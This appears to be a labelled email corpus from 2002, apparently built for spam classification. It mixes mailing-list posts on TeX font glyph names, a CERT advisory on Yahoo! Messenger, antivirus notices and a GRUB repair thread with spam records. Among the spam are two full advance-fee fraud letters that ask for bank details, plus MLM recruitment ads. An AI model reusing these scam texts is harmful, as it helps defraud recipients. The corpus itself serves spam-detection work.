group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0032 These vulnerabilities were resolved in Yahoo! Messenger version 5,0,0,1065, released May 22, 2002; however, a bug in the distribution server may have inadvertantly installed Yahoo! Messenger version 5,0,0,1036 on systems that downloaded Yahoo! Messenger after May 22, 2002. The bug in the distribution server has since been resolved. In February 2002, the following vulnerabilities were reported to affect Yahoo! Messenger: * http://www.kb.cert.org/vuls/id/393195 * http://www.kb.cert.org/vuls/id/419419 * http://www.kb.cert.org/vuls/id/755755 * http://www.kb.cert.org/vuls/id/887319 * http://www.kb.cert.org/vuls/id/952875 All of these vulnerabilities were resolved in Yahoo! Messenger version 5,0,0,1058, released February 25, 2002, or by server-side resolutions around the same time. II. Impact A remote attacker can execute arbitrary code with the privileges of the victim user, cause a denial of service, or modify data in the victim's buddy list. III. Solution Upgrade to the latest version of Yahoo! Messenger On May 22, 2002, Yahoo! released a fixed version of Yahoo! Messenger (5,0,0,1065) and began issuing a patch (5,0,0,1066) via the AutoUpdater to address this issue. All users should upgrade to version 5,0,0,1065 or later. Users with versions prior to 5,0,0,1066 that have ""Auto Update"" enabled will receive a message informing them that an upgrade is available. All users should accept this upgrade. Users who downloaded Yahoo! Messenger after May 22, 2002, should be aware that a bug in the distribution server may have inadvertantly installed Yahoo! Messenger version 5,0,0,1036, which is vulnerable to all issues in this advisory. The bug in the distribution server has since been resolved. Users should upgrade and verify the version of Yahoo! Messenger by selecting the ""About Yahoo! Messenger..."" option from the Help menu. Implement a firewall and filtering Yahoo! Messenger listens for peer-to-peer requests on port 5101/TCP but users can implement a firewall to block inbound and outbound access to port 5101/TCP. However, since Yahoo! Messenger URI's can be embedded in a web site or email message, blocking requests to and from port 5101/TCP is not a completely effective solution. Mail and Internet filters should also be applied to filter the ""ymsgr:"" URI handler from email messages and web sites. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Yahoo!, Inc. Yahoo! encourages users to upgrade to the latest version whenever prompted by the AutoUpdater or regularly check for updated versions of the client at http://messenger.yahoo.com. _________________________________________________________________ The CERT Coordination Center thanks Scott Woodward , Phuong Nguyen , and Adam Lang for their discovery and analysis of these vulnerabilities. We also thank Yahoo! for their assistance in analyzing and responding to these issues. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.kb.cert.org/vuls/id/137115 2. http://www.kb.cert.org/vuls/id/172315 3. http://www.kb.cert.org/vuls/id/393195 4. http://www.kb.cert.org/vuls/id/419419 5. http://www.kb.cert.org/vuls/id/755755 6. http://www.kb.cert.org/vuls/id/887319 7. http://www.kb.cert.org/vuls/id/952875 ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-16.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History June 05, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPP5cYaCVPMXQI2HJAQGAUAQAh/Xuz419nzyhbV8Oif1WDa2qczCF8ETW hYzkQYsi7tXg+kR4GcHfWgFDwlB4F4ojVoe7uBdKfasmQ7lfWXx2V+xxSm7LIbou 6YItFjt8CXPnC6WS+4ODjfr8U+hFRw2AIoUTcewwFT1PMHEMjtunQaiEJkXLqGkM YAhQ31TZF6Y= =jGbu -----END PGP SIGNATURE-----",0,1 """James H. Cloos Jr."" ",Markus Kuhn ,"Wed, 05 Jun 2002 15:54:07 -0400",Re: [Fonts]Re: Adobe Glyph Names <-> Unicode 3.2 (was: Xft and MathML),">>>>> ""Markus"" == Markus Kuhn writes: Markus> It might be very worthwile to start updating the PostScript Markus> glyph names in the various TeX Type1 fonts to match current Markus> standards, as soon as Adobe has updated Markus> http://partners.adobe.com/asn/developer/type/unicodegn.html Markus> to Unicode 3.2 coverage. Markus> Who is currently on charge of these font files? AMS? comp.text.tex is probably still the best place to discuss that. Perhaps also tex-fonts@sunshine.math.utah.edu. I've included both on the CC here. THe cm-super t1 fonts already do follow unicodegn.html, but the math mode fonts are not included. (Verified by looking at the FullName fields of the afm files.) -JimC",0,1 Antigen@nlr.nl,tex-fonts@sunshine.math.utah.edu,"Wed, 05 Jun 2002 23:45:42 +0200",Antigen Notification:Antigen found VIRUS= W32/Klez.H@m (Norman) virus,"Antigen for Exchange found started~pif infected with VIRUS= W32/Klez.H@m (Norman) virus. The file is currently Removed. The message, ""Ending table started in i"", was sent from antje and was discovered in Third Storage Group\\Breeman, J.H.\\Inbox located at National Aerospace Laboratory NLR/First Administrative Group/NTINTRAN. ",1,0 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Wed, 05 Jun 2002 18:02:50 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. 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Examples include the American Society for Training and Development, Federal Communications Commission, Office of the Secretary of Defense, Defense Technical Information Center, Defense Information Systems Agency, Department of Education, Food and Drug Administration, Immigration and Naturalization Service, Federal Aviation Administration, Pension Benefit Guarantee Corporation, Department of Agriculture, National Institutes of Health, National Cancer Institute, U.S. Marine Corps, Cable and Wireless, SABA, National Association of Purchasing Managers, Defense Acquisition University and Office of Personnel Management. Knowledge Media is the developer of SYNERGY 3.0 KnowledgewareTM, a leading-edge KM solution, combining award-winning e-learning, learning management, knowledge management, interactive profile-based e-mail, webcasts, virtual conferences, chat, automated workflow control and collaborative tools to radically enhance organizational and knowledge worker performance. Knowledge Media can be found on the web at: About Autonomy: Autonomy, Inc. is a global leader in infrastructure software for the enterprise. Autonomy's technology powers applications dependent upon unstructured information including: knowledge management, e-commerce, customer relationship management, enterprise information portals, enterprise resource planning and online publishing. Autonomy's customer base includes more than 475 global companies and government agencies, including the US Department of Energy, US Department of Defense, NASA, British Aerospace, Clorox, Deutsche Bank, Ericsson, General Motors and Lucent. Visit Autonomy on the Web at . ID: 249082 To Unsubscribe, click here: http://www.knowledge-media.com/unsubscribe.cfm?m=249082",0,1 """Berthold K.P. Horn"" ","""James H. Cloos Jr."" , Markus Kuhn ","Sat, 08 Jun 2002 15:20:53 -0400",Re: [Fonts]Re: Adobe Glyph Names <-> Unicode 3.2 (was: Xft and MathML),"At 03:54 PM 6/5/2002 -0400, James H. Cloos Jr. wrote: > >>>>> ""Markus"" == Markus Kuhn writes: > >Markus> It might be very worthwile to start updating the PostScript >Markus> glyph names in the various TeX Type1 fonts to match current >Markus> standards, as soon as Adobe has updated > >Markus> http://partners.adobe.com/asn/developer/type/unicodegn.html Is there any reason to believe they will? Updating the list itself is not sufficient. PS Type1 font consumers, like ATM, and the built in font support for Type 1 fonts in Windows, would have to be modified. And *that* is a long term project with significant costs (e.g. much larger built-in tables). Also, keep in mind that Adobe has few math or symbol fonts Many Type 1 fonts for TeX (other than math fonts) already pretty much follow the glyph naming conventions (in some cases additionally providing access to a glyph in more than one way in order to deal with uncertainties about support for the standardized glyph naming convention, so e.g. the Euro glyph might be accessible both under the glyph name ""Euro"" and under ""uni20AC""). >Markus> to Unicode 3.2 coverage. > >Markus> Who is currently on charge of these font files? AMS? > >comp.text.tex is probably still the best place to discuss that. >Perhaps also tex-fonts@sunshine.math.utah.edu. I've included both on >the CC here. > >THe cm-super t1 fonts already do follow unicodegn.html, but the math >mode fonts are not included. (Verified by looking at the FullName >fields of the afm files.) > >-JimC -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Sat, 08 Jun 2002 20:59:54 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = lij@engr.sc.edu Recipient(s) = tex-fonts@math.utah.edu Subject = W32.Elkern removal tools Scanning Time = 06/08/2002 20:59:53 Engine/Pattern = 6.150-1001/295 Action on message: The attachment install.exe matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\install3d02b69967.exe_. Warning to recipient. ScanMail has detected a virus. ",1,0 """Mr.AKIN DAVID"" ",tex-fonts@tug.org,"Sun, 09 Jun 2002 07:34:11 -0700",,"Dear Sir , First, I must solicit your confidence in this transaction; this is by virtue of its nature as being utterly CONFIDENTIAL and TOP SECRET. Though I know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day, we have decided to contact you due to the urgency of this transaction. Let me start first by introducing myself properly to you, I am Mr. TONY OKASIME, THE FINANCIAL DIRECTOR with the Union Bank of Nigeria Plc. Lagos. I came to know of you in my private search for a reliable and reputable person to handle this confidential transaction which involves the transfer of a huge sum of money to a foreign account requiring maximum confidence. THE PROPOSITION A foreigner, with name, Late Engineer Johnson Creek, an Oil Merchant/Contractor with the Federal Government of Nigeria, until his death Six years ago in a ghastly air crash, banked with us here at Union Bank Plc. Nigeria, Lagos, and had a closing balance of US$9.5M (Nine Million, Five Hundred Thousand United States Dollars only) which the bank now unquestionably expects it to be claimed by any available foreign next-of-kin of the Late beneficiary. Fervent valuable efforts are been made by the Union Bank to get in touch with any of the Creek's family or relatives proved to no avail. It is because of these perceived possibility of not been able to locate any of Late Engr. Johnson Creek's next-of-kin or relatives (he had no wife and children) that the management under the influence of our chairman and member of the board of directors, Retired Major General Kalu Uke Kalu, ORDERED that the fund should be declared ""UNCLAIMABLE"" if there is no member of late Engr.Johnson Creek's Relatives that comes to claim the money. So my trusted colleagues and I now seek your permission to have you stand as a next-of-kin or relative to Late Engr. Johnson Creek so that the funds will be released and paid into your bank account as the beneficiary next-of-kin, all documents and proves to enable you get this fund US$9.5m will be carefully worked out and more so we are assuring you of a 100% risk free involvement as your involvement will not expose you to any risks now or after the successful completion of the transaction. Your share stays while the rest would be for me and my colleagues for investment purposes in your country. We have agreed that, the funds will be shared thus, after it has been transferred into your account. 20% of the money will go to you for acting as the beneficiary of the funds, 5% will be set aside for reimbursement to both parties for any incidental expenses that may be incurred in the course of this transaction and 75% to us the originators of the transaction. If this proposal is OK by you and you do not wish to take undue advantage of the trust, we hope to bestow on you and your company, then kindly get back to me immediately via my private Email: akindavidse@yahoo.com or Fax No: 234-1-7599387 for security reason, Furnish me with your most confidential Telephone number, Fax number and exclusive bank particulars so that we can use these information to apply for the release and subsequent transfer of the funds in your favor. Thank you in advance for your anticipated co-operation. Yours faithfully, Mr. Akin David FINANCIAL DIRECTOR, (Union Bank of Nig. Plc) akindavidse@yahoo.com ",1,0 Yannis.Haralambous@enst-bretagne.fr,"""'tex-fonts@math.utah.edu'"" ","Sun, 09 Jun 2002 10:05:25 +0200","SPAM, viruses...","More and more SPAM messages and viruses appear on this list. Could we make it private, or change it's name? Or may be somebody could supervise it like TeXMag in the good old days? Yannis En réponse à System Attendant : > ScanMail for Microsoft Exchange has taken action on the message, > please > refer to the contents of this message for further details. > > Sender = lij@engr.sc.edu > Recipient(s) = tex-fonts@math.utah.edu > Subject = W32.Elkern removal tools > Scanning Time = 06/08/2002 20:59:53 > Engine/Pattern = 6.150-1001/295 > > Action on message: > The attachment install.exe matched file blocking settings. ScanMail > has > taken the Moved action. The attachment was moved to > C:\\PROGRA~1\\SMailEx\\Alert\\install3d02b69967.exe_. > > Warning to recipient. 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Importantly, it is a table built into their Type 1 font consumers (primarily ATM --- and correspondingly in Windows Type 1 font support). And *that* is what one really would like to have updated. Someone else making another table on paper or in electronic form has essentially no useful effect. The significance of the table is that it is built into Type 1 font consumers, so that 16-bit character strings can be used to unambiguously access the glyphs desired. Without that it is just a table of pedagogical interest. > The economic incentives here are clear and simple, In the past, Adobe and others have had no trouble ignoring the TeX world, since it does not represent an economically significant group (for a start it is full of people who prefer free software). When a useful change happened it was often because some farsighted person at Adobe, perhaps in contact with outsiders, did the right thing because they felt like it --- and no manager happened to notice that they were doing it. >and I am confident that they >(i.e., Eric Mueller at Adobe) have already understood this. If you >prefer, think of it more as of an ultimatum rather than a plea ... :) It would be wonderful if Adobe and Microsoft and Apple heard your plea and will do this, despite the lack of commercial incentive. But why worry about it in any case? TeX works with 8-bit bytes. Some commercial TeX implementations work internally with Unicode, but have to separate treatment of ""text"" and ""non-text"" fonts in any case. And glyphs in non-text fonts are accessed by character code known to TeX by macros. Which will always be the case, since no version of Unicode will ever have a complete coverage of all possible glyphs. In addition, the religion of Unicode makes it be a *character* encoding, not *glyph* encoding, so that, e.g., variants of letter shapes cannot be accommodated . So you will never get away for the need for something more than Unicode. >Markus > >P.S.: In any case, what are we wasting our time with this pointless >discussion? They are apparently already reviewing a new table and have >to fix not only Unicode 3.2, but also a number of other problems that >have accumulated over the years in it. Glad to hear it. Great. >One issue that might delay things >is that Unicode 3.2 forgot to add one last remaining Symbol character >(horizontal extender). > >[You worry too much. If you want to have a more challenging persuasion >problem to work on, please think about how to convince Americans to use >the metric system, A4 paper, 24h time notation, and other good standard >things they miss out at the moment. :] But wait, USA congress has passed many laws changing to metric system, starting shortly after the French revolution! Unfortunately it seems not to have had any effect (except in a few rare instances: wine is sold in 750 ml bottles --- some companies, like Caterpillar, are completely ""metricated"" etc.). And what about stupid notation for dates? These are widespread. The logical notation is of course year/month/day. How many countries make that the norm? I wasted much time in the 1980s writing letters to magazines like ""Science News"" asking them to use SI in their reporting. It made no difference, and the convenient conversion of units in calculators and computers made the change even less likely. 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I want to come back and stick to the original goal. * the PUA usage implied by the naming convention is a major disaster for two reasons: first, this was mostly an attempt to encode glyphs (by opposition to characters), and second, this PUA usage needs to be understood by far too many parties for that to happen. I want to deprecate it. So the final document will be along these lines: This document presents a algorithm to convert from glyph names to sequences of Unicode characters. [more or less the current sentences that explain how this is useful for e.g. ATM, a Type 1 to OpenType converter.] The algorithm is as follow: 1. drop everything after the first ""."" 2. split on ""_"" 3. convert each fragment produced by 2 to a string like this: 1. if the fragment is in the left column of the AGL table, use the string in the right column 2. else, if the fragment is of the form ""uni[0-9AF]*"" and the number of hex digits is a multiple of four, interpret each group of four digits as a Unicode scalar value 3. else, if the fragment is of the form ""u[0-9A-F]*"" and the number of hex digits is 4, 5 or 6, interpret those digits as a Unicode scalar value 4. else produce the empty string 4. concatenate the strings obtained by converting each fragment The revised AGL table will be a combination of the current AGL table and the PUA usage we give. As a sample, it will look like: name sequence A U+0041 Asmall U+0061 ... ... The first entry is because the current AGL says so. The second entry is because the current AGL says ""Asmall -> U+F761"" and the PUA usage says that U+F761 decomposes to "" 0061"". What I am still trying to figure out is the extent of the list (i.e. what names will be in it). The first observation is that the current AGL names should all be there. The second observation is that given the uni and u mechanisms, and given the huge cost and delay in having the list propagated to all the implementations of the algorithm (as Berthold noted), the best is to freeze the list forever after the next publication. In the end, I think the best is to add to the current AGL list a set of widely accepted names, e.g. those that Apple use in the fonts they ship, and may be those found in common math fonts; the tricky part is to determine when it's better to reissue a font with more useful names, and when it's better to augment the list. There is one more question about the new AGL list I have not yet figured out: should it include ""uniF761"" (and map it to U+0061) or should we let that name be handled by step 3.2 of the algorithm (and map it to U+F761). Independent of the ""Unicode and glyph names"" document is the set of mappings published at http://www.unicode.org/Public/MAPPINGS/VENDORS/ADOBE. The first thing to realize is that Adobe is not the source of those mappings. I believe they have originally been created by Next, for use in Display PostScript applications. I may deal with those after I am done with the ""Unicode and glyph names"" document. Eric.",0,1 """Complexities V. Twig"" ",Bait ,"Wed, 12 Jun 2002 04:13:38 -0400",A replica watch#,"REPLICA //ATCHES BAZAAR! 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",1,1 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Fri, 14 Jun 2002 09:54:30 -0700",linux: quite the dandy of a mistake...," Alright, let's see if any of you have any bright ideas about this one: In the process of using Acronis Disk Administrator to resize my ext3 partition I mistakenly installed their dorky bootloader (Acronis OS Selector) over GRUB on the mbr of my hard drive. You would think that wouldn't be a problem and that I could do a 'grub-install hda' to re-write GRUB stage1 to the mbr. I did this and for some unexplainable reason I also did 'grub-install hda1'. Now hda1 is my Windows 98 SE partition! This means the small bit of code that is GRUB stage1 was written to my Windows partition. Now, when I boot up, I get the GRUB bootloader menu and can boot into Linux fine (thank you God) but when I choose to boot to Windows it simply executes the GRUB stage1 code (which outputs to the screen 'GRUB loading stage2...') and hangs. I've tried booting with a win98se bootdisk and doing a 'sys c:' and even 'fdisk /mbr' followed by a 'sys c:' but everytime the sys command returns 'invalid media type reading drive c, abort, retry, fail?' I can still mount the dos partition so I can backup any data or files and reformat that partition as a last resort (then I'd have to decide whether to shun MS forevert or to reinstall windoze). I'd prefer to just fix the damage that the 'grub-install hda1' did... but I've reached the limit of my expertise (and maybe the expertise/interest of the bug-grub mailing list). Any thoughts would be appreciated, Joe ------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu Graduate Student astron.berkeley.edu/~jhall Astronomy Department 601 Campbell Hall voice: (510) 643-8592 University of California at Berkeley fax : (510) 642-3411 Berkeley, CA 94720-3411 face : 753B Campbell ""Current copyright law, with its exceptions and exceptions to exceptions, is not very different from Ptolemy's epicycles and epicycles within epicycles."" -Ernest Miller and Joan Feigenbaum, ""Taking the Copy Out of Copyright"" http://astro.berkeley.edu/~jhall/pdf/MF.pdf Does your congressmember know how you feel? Let them know TODAY: http://www.visi.com/juan/congress/ ",0,1 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Fri, 14 Jun 2002 16:56:30 -0700",GRUB problem fixed!!!," Thanks to George Fisher and James Lloyd (and some Aussie chap on the Bug grub list), I've solved my problem without having to reinstall or format anything! I've written up what had to be done and the symptoms here: http://astro.berkeley.edu/~jhall/grub_install_hda1.html You guys are the greatest! This list is great! Joe ------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu Graduate Student astron.berkeley.edu/~jhall Astronomy Department 601 Campbell Hall voice: (510) 643-8592 University of California at Berkeley fax : (510) 642-3411 Berkeley, CA 94720-3411 face : 753B Campbell ""Current copyright law, with its exceptions and exceptions to exceptions, is not very different from Ptolemy's epicycles and epicycles within epicycles."" -Ernest Miller and Joan Feigenbaum, ""Taking the Copy Out of Copyright"" http://astro.berkeley.edu/~jhall/pdf/MF.pdf Does your congressmember know how you feel? Let them know TODAY: http://www.visi.com/juan/congress/ ",0,1 ltotyfqjcuoae@inextage.com,linuxusers@astron.Berkeley.EDU,"Sat, 15 Jun 2002 05:38:26 -0700","��[""ī�����(�����ݸ�)"" �����νſ� 100%����] lpo ",a zzxhbhxaxood,1,1 ham@h8h.com,"0602-1, 0604-1, 0607-3","Sat, 15 Jun 2002 12:56:26 -0600",網路行銷高手訓練班,"∼ 網路行銷高手訓練班 ∼ ∼ 網路行銷高手訓練班 ∼ 富與窮取決於晚上7:00~10:00您在做什麼？ 若您平日在家(穴)縮在沙發(弓身)看電視 久了就變成『窮』啦 ！ 現在只要在家(宀)講(一口)電話，就能賺(田)成『富』。 你要不要？ 如果免費送人家貴賓卡就可以賺錢，你要不要？ 賺錢是可以這麼容易的！    ☆ 有錢人沒錯☆錯的是自己不爭氣☆        ☆ 經濟不景氣☆究竟干你什麼事 ☆   免費培訓網路新高手 我們要找的是一輩子合作的夥伴 ,所以願意花時間培養你~ 我們目前所推廣的是 ：全國最不受景氣影響的〝便利超商〞連鎖大事業~ 　 你只要消費就可以當連鎖便利商店的老闆 我們超商 ~ 結合百業,讓所有的老闆都能享受到百業的利潤 ~ 我們超商 ~ 在全省目前已開滿50家 ,遠到澎湖金門 ~ 我們超商 ~ 有電子商務及'百貨'宅配到家服務 ~ 連鎖超商事業迷人的獎金 　 教您如何免費使用我們全省50家超商(一月份又有25家加盟)的辦公職場！      免進貨、免付工讀生薪水、免開店成本、免管銷！      店的連鎖我們來包辦！您只要幫忙做一件事：就是人的連鎖！      發發卡片、有人來消費，您領月獎金！      收收email、有人來加盟，您領週獎金！ 　 請勾選您是否需要我們免費的創業光碟 我要索取免費的創業光碟  中文姓名 (請填中文全名) 聯絡電話 : 大哥大 住家 (必填欄位) 地址 (必填欄位) 最方便面談時間 請選擇 星期一 星期二 星期三 星期四 星期五 都可以 假日 晚上7:30-9:00     年齡 歲(須18歲以上)  性別 請選擇 男 女    職業 請選擇 內勤上班族 業務行銷 SOHO族 自己當老板 職業婦女 家庭主婦 待業中 學生 其他     其它 星座 請選擇 牡羊座 金牛座 雙子座 巨蟹座 獅子座 處女座 天枰座 天蠍座 射手座 摩羯座 水瓶座 雙魚座 婚姻狀況 請選擇 未婚 已婚    兼職動機 請選擇 錢不夠用 增加第二份收入 創業當老板 就是想賺錢 最方便聯絡時間 請選擇 星期一 星期二 星期三 星期四 星期五 星期六 星期日 都可以 請選擇 上午9-12 中午12-1 下午1-5 晚上8-10 晚上9-11 都可以    電子郵件 建議事項 您對於連鎖超商事業的創業意願　我很有興趣 （優先）　我稍微瞭解 　我完全不瞭解 您要選擇何種方式進行連鎖超商事業　 傳統方式　　網路方式 您每天有１∼２小時上網時間可以運作連鎖超商事業　我有　　我沒有 您是否願意免費接受網路行銷高手特訓　我願意　　我不願意",1,1 ham@h8h.com,"0607-3, 0604-1","Sun, 16 Jun 2002 11:35:38 -0600",新的通路新行業,"新的通路新行業 dear friend:    最近我看到一個兼差的事業,分享給各位,給自己十八分鐘,了解一個商機!! 全國最強的網路行銷團隊等您來參與!!下一個正確決定,點下它吧!! 免費幫您架設網站;免費教導你網路行銷完全掌握通路資源; 完全掌握全新商機,下一個正確決定與我聯絡吧!! 若連接不上時,表示流量太大!! 請您耐心等候!! 祝您:                           心想事成       萬事如意                              永久網址      http://ham.h8h.com                                                      築夢踏實  夢想成真 姓        名     (您的中文姓名)             暱稱: 生        日 民國年月日 性        別 男 女 電        話  家中:                 行動電話: 連絡地址 網路特訓 請選擇 願意 不願意 再考慮 其他 職        業 請選擇 金融/保險 房地產 政府機關 軍警 教育/研究 經商 建築/營造 製造/供應商 資訊 服務 醫療 法律相關行業 流通/零售 交通/運輸/旅遊 娛樂/出版 傳播/公共關係/廣告/行銷 藝術 農漁牧 學生 家管 待業中 其他 職        稱 請選擇 秘書､行政助理 業務人員､仲介人員 工程師 技術人員 研究人員 管理階層 教職人員 專案､產品經理 執行專員 服務人員 專業人士 自營商 創意工作者 其他 請選擇方式 連絡 請選擇 家中電話 行動電話 e-mail 其他   時段  請選擇 8:00~12:00 12:00~13:00 13:00~18:00 18:00以後 其他   計劃 請選擇 兼差 全職 看狀況 其他 E-mail",1,1 Fund Raise ,"""\\""Fundraiser 190602\\"" <\\""Fund Raise\\"""" ","Wed, 19 Jun 2002 21:23:52 +0800",Fundraiser Manual,"Involved in Fundraising? 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Interested?Call 1 954 427 3460 ext:17 to get started. worn dip ralph arturo sandy a marx emory cede boltzmann it bred specular delightful ",1,0 Francisco Chinchilla ,mvineyar@richmond.edu,"Wed, 19 Jun 2002 16:21:35 -0400",cube status,"I succesfully ran about 200 of the h2root files on the old cluster when the cube crashed. I attached a monitor and did the following: 1) restart network...nope. Still couldn't get a ""df"" on psc1, it would hang, and ""cd /net/pscr1/"" gave a a ""service not available"" msg. 2) I hit the green button and the system would hang when probing pci bus #4. One of the hard drives was making a funny noise and taking a bit longer before its light turned off during bootup. I called raidzone and they said that one of the hard drives probly went bad (which is the case) and that since we were using RAID0 we lost all the data. I am tinkering right now with the hard drive that went bad to see if I can get anything out of it. I will try to see if we can salvage the other data and lose just the one that was in the bad hard drive, but that may be impossible to do. I will keep you posted as soon as I have more news. ""Did u back up the data?"" No. It is quite hard to back up over 250GB of data. I am not sure we have enought tapes to even do that. I believe that is why the different levels of RAID exist, even though you do lose usable disk space, there is some redundancy and recovery from an error is feasible. This might be a good time to move all the data from pscm1:/data# into data1, and then switch data2 and data3 from RAID0 to another RAID (5 or 10), then do the same for data1. Of course, you can always argue that the data could be re-downloaded, etc, so it really is your call. I can send statistics on space lost and all that from each RAID configuration if you want me to. Francisco Chinchilla ",0,0 Benoît Rouits ,dst@cs.cmu.edu,"Thu, 20 Jun 2002 21:30:49 +0200",yet anothed decss face,"Dear sir, Having looked carefully to your css descrambler artistic gallery and enjoying it, i finnaly decided to inform you of another decss face that is given in my e-mail header as a X-Face stamp. X-Faces are ASCII icons intended to show in low-quality the face of an e-mail author. if your e-mail reader doesn't handle X-Face header, here is attached a png image of the face of a stripped version of C.M. Hannum's tiny implementation of a css descrambler (hannum-efdtt-source.txt on your website). The png file is quite big because i added text chunks for ""legal disclaimer"". (text chunks are readable by official png interpreters) More informaton about X-Face header can be found here: http://www.dairiki.org/xface/ Most Unix mailreaders and Mac ones handle X-face headers. *Anyway*, the purpose of this thumbnail was for me a mean to express a kind of personification of efdtt.c since it can be now seen as a *face*. Hoping this teased your curiosity, Sincerly yours, BEn P.S: Just look at this e-mail header to see the original 434 bytes C code. ... the attached png image is 1,2Kb because of invisible text chunks... -- ___________________________________________________________________ | Benot Rouits | icq: #145294907 | http://brouits.free.fr/groom/ | `-------------------------------------------------------------------' ",1,1 sadiq jibril ,elzobier@kuwaitculturaluk.com,"Fri, 21 Jun 2002 16:06:14 -0700",URGENT PLEASE,"FROM:DR.SADIQ JIBRIL SOCIETE GENERALE BANK(NIG)LTD. 32/34 BREADFRIUT SRTEET MARINA-LAGOS ATTENTION PLERASE: First, I must solicit your confidence in this transaction, this is by virtue of its nature as being utterly CONFIDENTIAL and TOP SECRET. Though I know that a transaction of this magnitude will make anyone apprehensive and worried, but I am assuring you that all will be well at the end of the day. We have decided to contact you by e-mail due to the urgency of this transaction. Let me start by first introducing myself properly to you. I am DR.SADIQ JIBRIL a Manager at the SOCIETE GENERALE BANK NIG. LTD, Lagos. I came to know of you in my private search for a reliable and reputable person to handle a very confidential transaction which involves the transfer of a huge sum of money to a foreign account requiring maximum confidence. I am not too really sure if you are my long lost contact whom I am trying to reach, but in anyway, please do take this message with a good heart and revert to me if you are not the person I think you are. I would explain more latter. THE PROPOSITION: A foreigner, late Engineer SANN CLARKE, an Oil Merchant / contractor with the federal Govenment of Nigeria, until his death three years ago in a ghastly air crash, banked with us here at SOCIETE GENERALE BANK Lagos, and had a closing balance of USD$40.M (Forty Million,United States Dollars) which the bank now unquestionably expects to be claimed by any of his available foreign next of kin or alternatively be donated to a discredited trust fund for alms and ammunition at a military war college here in Nigeria. Fervent valuable efforts has been made by the SOCIETE GENERAL BANK to get in touch with any of the CLARKE family or relatives but all have proved to no avail. It is because of the perceived possibility of not going to be able to locate any of late Engr. SANN CLARKE's next of kin (he had no known wife and children) that the management under the influence of our Chairman, board of directors, CHIEF OLUSOLA SARAKI, that an arrangement for the fund to be declared""UNCLAIMABLE"" and then be subsequently donated to the Trust Fund for Alms and War in Africa and the world in general. In order to avert this negative development, myself and some of my trusted colleagues here at the bank now seek for your permission to have you stand as late Engr. SANN CLARKE's next of kin so that the fund, USD$40.M USD would be subsequently transferred and paid into your bank account as the beneficiary next of kin.All documents and proves to enable you get this fund have been carefully worked out and we are assuring you a 100% risk free involvement. For your assistance, your commission would be 20%. 80%be for myself and my colleagues for investment purposes in your country. If this proposal is OK. by you and you do not wish to take advantage of the trust we hope to bestow on you and your company, then kindly get to me immediately via my e-mail furnishing me with your most confidential telephone, fax number and exclusive e-mail so that I can forward to you the relevant details of this transaction. Thank you in advance for your anticipated co-operation. Regards, DR. SADIQ JIBRIL MANAGER SOCIETE GENERAL BANK NIG.LTD. N.B. PLEASE, FOR CONFIDENTIAL REASON, I WOULD LIKE YOU OR ALSO CONTACT ME HERE sadiq_jibril@arabia.com ------------------------------------------------------------ http://Game.37.com/ <--- Free Games http://newJoke.com/ <--- J O K E S ! ! ! --------------------------------------------------------------------- Express yourself with a super cool email address from BigMailBox.com. Hundreds of choices. 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Das Seminar wird sich auf der Initiative der Stiftung ⌠Heiliges Sophia ■ bei der Unterstuetzung des Ratstdt von Kiew geleitet. Eine der grundlegenden Richtung der Taetigkeit der Stiftung ⌠Heiliges Sophia⌠ ist die Mithilfe dem Austausch der Erfahrung zwischen fuehrend Fachmaennern und Organisationen aus verschiedenen Laendern in dem Gebiet Denkmalschutz und Denkmalpflege. In dieser Richtung arbeitet die Stiftung zusammen mit der staatlichen Organisationen der Ukraine, die fuer die Erhaltung das kulturell Erbe verantwortlich ist, sowie den Wiederherstellungskorporationen und die Firmen in Ukraine und hinter ihren Grenzen auch. Die Teilnehmer des Organisationskomitees des Seminares sind die Vertreter die Munizipalitaet von Kiew, der Ukrainische UNESCO Nationalen Kommission, des Ministeriums der Kultur und der Kuenste, des Staatlichen Komitees fuer den Bau und der Architektur, des ICOMOS Komitee. Das Seminar ist auf die Architekten, Restauratoren, der Ingenieure, der Archaeologen, der Fachmaenner aus der Verwaltungsgebiet, der Wissenschaftler, der Fachmanner und der Studenten der hoechsten Ausbildungseinrichtungen Architektonisch- und des Bauprofils orientiert, das sich direkt der Aufgaben der Erhaltung das historisch und kulturell Erbe beschaeftigt sind. Im Auftrag des Organisationskomitees des Seminares habe ich die Ehre, die Fachmaenner Ihres Landes einzuladen, an der Arbeit des Seminares teilzunehmen. Ich habe die Hoffnung, dass wird Ihr Arbeitseinsatz des Seminares der Entwicklung der weiteren fruchtbringenden wissenschaftlich und technischen Kontakte zwischen den Fachmaennern unserer Laender dienen. Die Bedingungen des Teilnahme im Seminar lege ich bei Mit freundlichen Gruessen Dr. Y.Maslov E-mail: stsfund@uni.net.ua For further information, please, forward Registration Form to the Organizing Committee Reference about the St. Sophia Cathedral of Kyiv The St. Sophia Cathedral was erected in the first half of the 11th century and symbolized unity and power of Old Rus. It considerably influenced on the development of the future Rus architecture. The outstanding universal importance of this monument is that the architecture of the 